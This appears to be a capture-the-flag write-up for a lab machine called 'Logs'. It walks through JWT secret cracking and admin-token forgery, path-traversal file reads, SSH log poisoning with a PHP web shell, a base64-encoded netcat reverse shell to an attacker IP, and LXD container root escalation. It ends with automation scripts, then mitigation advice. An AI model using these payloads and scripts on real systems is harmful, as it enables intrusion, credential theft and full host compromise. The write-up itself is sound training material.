title: 'Writeup Logs - HC' publishedAt: '2026-01-10' summary: 'Web, JWT, LFI, Log Poisoning, Privilege Escalation'
Target Information
- IP Address: 172.16.3.46
- Difficulty: Medium
- Tags: Web, JWT, LFI, Log Poisoning, LXD, Privilege Escalation
Reconnaissance
Port Scanning
Initial enumeration revealed two open ports:
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH
80/tcp open http Apache/2.4.58 (Ubuntu)
Web Application:
- Main domain:
logs.hc - Login endpoint:
logs.hc/login
Web Enumeration
Subdomain Discovery
During enumeration, I discovered a staging subdomain:
Subdomain found: staging.logs.hc
This subdomain exposed additional functionality including a registration endpoint.
User Registration & Authentication
I created an account on the staging environment:
Endpoint: staging.logs.hc/register
After registration, I authenticated via the login endpoint and received a JWT token.
JWT Token Analysis
Initial JWT Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6ImFzZGYiLCJlbWFpbCI6ImFzZGZAYXNkZi5jb20ifQ.ng5TNSatLZb5Eakb8xn2ltchjPYbCk4FMfcWplLXASU
Decoded payload:
{
"iss": "http://logs.hc/login",
"iat": 1768079929,
"exp": 1768083529,
"nbf": 1768079929,
"jti": "TbI9W3O7q6XDBWNv",
"sub": "3",
"prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
"role": "user",
"name": "asdf",
"email": "asdf@asdf.com"
}Critical observation: The token includes a role field set to user.
Exploitation: JWT Signature Cracking
Weak Secret Discovery
I used jwt_tool to perform a dictionary attack against the JWT signature:
jwt_tool -C -d ~/tools/rockyou.txt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6ImFzZGYiLCJlbWFpbCI6ImFzZGZAYXNkZi5jb20ifQ.ng5TNSatLZb5Eakb8xn2ltchjPYbCk4FMfcWplLXASUResult:
[+] CORRECT key found:
92839853879156166491915372959629Weak secret discovered! The JWT is signed with a predictable numeric key.
Privilege Escalation via JWT Manipulation
With the signing key, I forged a new JWT token with elevated privileges:
Modified payload:
{
"iss": "http://logs.hc/login",
"iat": 1768079929,
"exp": 1768083529,
"nbf": 1768079929,
"jti": "TbI9W3O7q6XDBWNv",
"sub": "3",
"prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
"role": "admin",
"name": "asdf",
"email": "asdf@asdf.com"
}Forged admin token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM
Admin access obtained!
Discovery: Local File Inclusion (LFI)
Initial LFI Attempt (Unauthorized)
Before obtaining the admin token, I discovered an LFI endpoint:
Endpoint: /api/view?file=
Initial test:
GET /api/view?file=../../../../../etc/passwd HTTP/1.1
Host: logs.hc
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36Response:
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/8.3.6
Content-Type: application/json
{"error":"Unauthorized - Bearer token required"}LFI requires authentication!
Successful LFI with Admin Token
Using the forged admin JWT token, I successfully exploited the LFI vulnerability:
Request:
GET /api/view?file=../../../../../etc/passwd HTTP/1.1
Host: logs.hc
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmMResponse:
HTTP/1.1 200 OK
X-Powered-By: PHP/8.3.6
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:105::/var/snap/lxd/common/lxd:/bin/false
developer:x:1001:1001::/home/developer:/bin/bashLFI confirmed! Discovered user: developer
Log File Access
I used the LFI to read authentication logs:
Request:
GET /api/view?file=../../../../../var/log/auth.log HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmMResponse:
2026-01-08T13:45:58.632549+00:00 ip-172-16-5-188 sshd[1191]: Server listening on 0.0.0.0 port 22.
2026-01-08T13:45:58.633519+00:00 ip-172-16-5-188 sshd[1191]: Server listening on :: port 22.
[...]
2026-01-10T21:35:01.010237+00:00 ip-172-16-3-46 CRON[1334]: pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0)
Authentication logs readable! This enables log poisoning attacks.
Exploitation: SSH Log Poisoning
Understanding Log Poisoning
SSH authentication logs (/var/log/auth.log) record connection attempts, including invalid usernames. By injecting PHP code into the username field, I can poison the log file and achieve RCE when the log is included via LFI.
Log Injection
I poisoned the SSH logs by attempting authentication with a PHP payload as the username:
Poisoning command:
curl -u 'SSH-2.0-<?php if(isset($_GET["c"])){ob_clean();passthru($_GET["c"]);exit;} ?>' sftp://logs.hc/anything -kExplanation:
- The
-uflag sends the PHP payload as the username - SSH logs will record:
Invalid user SSH-2.0-<?php ... ?> - The log file now contains executable PHP code
Remote Code Execution
After poisoning the logs, I triggered RCE by including the auth.log with a command parameter:
Test command:
GET /api/view?file=../../../../../var/log/auth.log&c=ls HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmMResponse:
2026-01-08T13:45:58.632549+00:00 ip-172-16-5-188 sshd[1191]: Server listening on 0.0.0.0 port 22.
[...]
2026-01-10T21:39:47.397515+00:00 ip-172-16-3-46 sshd[1410]: Invalid user SSH-2.0-favicon.ico
index.php
robots.txt
RCE confirmed! The ls command executed successfully.
Reverse Shell
I obtained a reverse shell using a base64-encoded payload:
Original command:
rm /tmp/_; mkfifo /tmp/_; cat /tmp/_|sh 2>&1|nc 10.0.35.83 4444 >/tmp/_Base64 encoded:
KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4wLjM1LjgzIDQ0NDQgPi90bXAvXykgPi9kZXYvbnVsbCAyPiYxICY=
Reverse shell request:
GET /api/view?file=../../../../../var/log/auth.log&c=printf+KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4wLjM1LjgzIDQ0NDQgPi90bXAvXykgPi9kZXYvbnVsbCAyPiYxICY=|base64+-d|sh HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmMListener:
nc -lvnp 4444Result:
[+] Got reverse shell from ip-172-16-3-46~172.16.3.46-Linux-x86_64Reverse shell obtained as www-data!
Post-Exploitation: Database Discovery
SQLite Database Enumeration
I searched for SQLite databases on the system:
find / -name "*.sqlite" 2>/dev/nullResults:
/var/www/prod/database/database.sqlite
/var/www/stag/database/database.sqlite
/var/www/shared/database.sqlite
Credential Extraction
I extracted user credentials from the database and found a hash for the developer user.
Hash cracking:
- User:
developer - Password:
superman
Lateral Movement to Developer
Using the discovered credentials, I switched to the developer user:
www-data@ip-172-16-3-46:~/prod/public$ su developer
Password: superman
developer@ip-172-16-3-46:/var/www/prod/public$Lateral movement successful!
Privilege Escalation: LXD/LXC Container Abuse
Enumeration with LinPEAS
Running LinPEAS revealed a privilege escalation vector:
Binary found:
/usr/sbin/lxc
User groups:
uid=1001(developer) gid=1001(developer) groups=1001(developer),105(lxd)Critical finding: The developer user is a member of the lxd group, which allows container manipulation.
LXD Privilege Escalation Technique
The LXD group membership allows creating privileged containers that mount the host filesystem.
Steps:
- Download Alpine Linux image:
curl 10.0.35.83/alpine-v3.13-x86_64-20210218_0139.tar.gz -o /tmp/alpine-v3.13-x86_64-20210218_0139.tar.gz- Import the image:
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage- Verify image:
developer@ip-172-16-8-105:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+
| myimage | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | CONTAINER | 3.11MiB | Jan 10, 2026 at 8:10pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+- Create privileged container:
lxc init myimage ignite -c security.privileged=true- Mount host filesystem:
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true- Start container and get root shell:
lxc start ignite
lxc exec ignite /bin/shResult:
~ # whoami
rootROOT OBTAINED! Full access to the host filesystem via /mnt/root.
Attack Chain Summary
1. Subdomain Discovery (staging.logs.hc)
↓
2. User Registration & JWT Token Acquisition
↓
3. JWT Signature Cracking (Weak Secret)
↓
4. JWT Forgery (role: user → admin)
↓
5. Local File Inclusion Discovery (/api/view)
↓
6. SSH Log Poisoning (PHP injection)
↓
7. Remote Code Execution via LFI
↓
8. Reverse Shell as www-data
↓
9. SQLite Database Discovery
↓
10. Credential Extraction (developer:superman)
↓
11. Lateral Movement (su developer)
↓
12. LXD Group Membership Discovery
↓
13. Privileged Container Creation
↓
14. Root Access via Host Filesystem Mount
Vulnerabilities Summary
-
Weak JWT Secret
CWE-326Critical- Predictable signing key vulnerable to dictionary attacks
-
JWT Role Manipulation
CWE-639Critical- Client-controlled role claim without server-side validation
-
Local File Inclusion
CWE-22High- Path traversal allowing arbitrary file reads
-
Log Injection
CWE-117High- Unsanitized input recorded in system logs
-
Log Poisoning to RCE
CWE-94Critical- Code injection via log file inclusion
-
Hardcoded Database Credentials
CWE-798Medium- Credentials stored in plaintext/weak hashes
-
LXD Group Misconfiguration
CWE-250Critical- Unprivileged user in privileged group
-
Container Escape via hostPath
N/ACritical- Root filesystem accessible from container
Mitigation Recommendations
Application Level
- Strengthen JWT Secret:
- Use cryptographically strong random secrets (minimum 256 bits)
- Rotate secrets periodically
// Generate strong secret
$secret = bin2hex(random_bytes(32)); // 256-bit secret- Implement Server-Side Role Validation:
- Never trust client-provided claims
- Validate roles against database on each request
// Secure role validation
$user = User::find($jwt->sub);
if ($user->role !== 'admin') {
return response()->json(['error' => 'Forbidden'], 403);
}- Fix Local File Inclusion:
- Whitelist allowed files
- Use basename() to prevent directory traversal
- Implement proper access controls
// Secure file access
$allowedFiles = ['report1.log', 'report2.log'];
$file = basename($_GET['file']);
if (!in_array($file, $allowedFiles)) {
return response()->json(['error' => 'Invalid file'], 400);
}- Prevent Log Injection:
- Sanitize all user input before logging
- Use structured logging (JSON)
- Disable PHP execution in log directories
// Sanitize log input
$username = preg_replace('/[^a-zA-Z0-9_-]/', '', $input);System Level
- Remove Users from LXD Group:
- Only administrators should have LXD access
- Audit group memberships regularly
# Remove user from lxd group
gpasswd -d developer lxd- Implement Container Security:
- Disable unprivileged container creation
- Restrict hostPath mounts
- Use AppArmor/SELinux profiles
# LXD security configuration
security.privileged: false
security.nesting: false-
Database Security:
- Use strong password hashing (bcrypt, Argon2)
- Implement password complexity requirements
- Enable database encryption at rest
-
File System Permissions:
- Restrict log file permissions
- Web server should not have write access to logs
- Use log rotation with proper permissions
# Secure log permissions
chmod 640 /var/log/auth.log
chown root:adm /var/log/auth.log- Web Application Firewall:
- Implement rate limiting
- Block path traversal patterns
- Monitor for suspicious JWT usage
Tools Used
- curl - HTTP requests and log poisoning
- jwt_tool - JWT analysis and cracking
- netcat - Reverse shell listener
- LinPEAS - Linux privilege escalation enumeration
- LXD - Linux container technology
- Burp Suite - Web vulnerability analysis
Proof of Concept Scripts
JWT Forgery Script
#!/usr/bin/env python3
import jwt
import json
# Cracked secret
secret = "92839853879156166491915372959629"
# Original payload
payload = {
"iss": "http://logs.hc/login",
"iat": 1768079929,
"exp": 1768083529,
"nbf": 1768079929,
"jti": "TbI9W3O7q6XDBWNv",
"sub": "3",
"prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
"role": "admin", # Changed from "user"
"name": "asdf",
"email": "asdf@asdf.com"
}
# Forge token
forged_token = jwt.encode(payload, secret, algorithm="HS256")
print(f"[+] Forged Admin Token:\n{forged_token}")Log Poisoning Automation
#!/bin/bash
TARGET="logs.hc"
LHOST="10.0.35.83"
LPORT="4444"
echo "[+] Step 1: Poisoning SSH logs..."
curl -u 'SSH-2.0-<?php if(isset($_GET["c"])){ob_clean();passthru($_GET["c"]);exit;} ?>' sftp://$TARGET/anything -k
echo "[+] Step 2: Preparing reverse shell payload..."
PAYLOAD=$(echo "rm /tmp/_; mkfifo /tmp/_; cat /tmp/_|sh 2>&1|nc $LHOST $LPORT >/tmp/_" | base64)
echo "[+] Step 3: Starting listener..."
echo "[*] Run in another terminal: nc -lvnp $LPORT"
echo "[+] Step 4: Triggering reverse shell..."
echo "[*] Use this in Burp Suite or curl with admin JWT token:"
echo "GET /api/view?file=../../../../../var/log/auth.log&c=printf+$PAYLOAD|base64+-d|sh"LXD Privilege Escalation
#!/bin/bash
echo "[+] LXD Privilege Escalation"
# Import image
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
# Create privileged container
lxc init myimage ignite -c security.privileged=true
# Mount host filesystem
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
# Start container
lxc start ignite
# Get root shell
echo "[+] Getting root shell..."
lxc exec ignite /bin/shReferences
JWT Security
Local File Inclusion
Log Poisoning
LXD/LXC Privilege Escalation
CWE References
- CWE-22: Path Traversal
- CWE-94: Code Injection
- CWE-117: Log Injection
- CWE-250: Execution with Unnecessary Privileges
- CWE-326: Inadequate Encryption Strength
- CWE-639: Authorization Bypass
Author: cbxcvl Date: January 10, 2026 Machine: Logs Release Date: January 10, 2026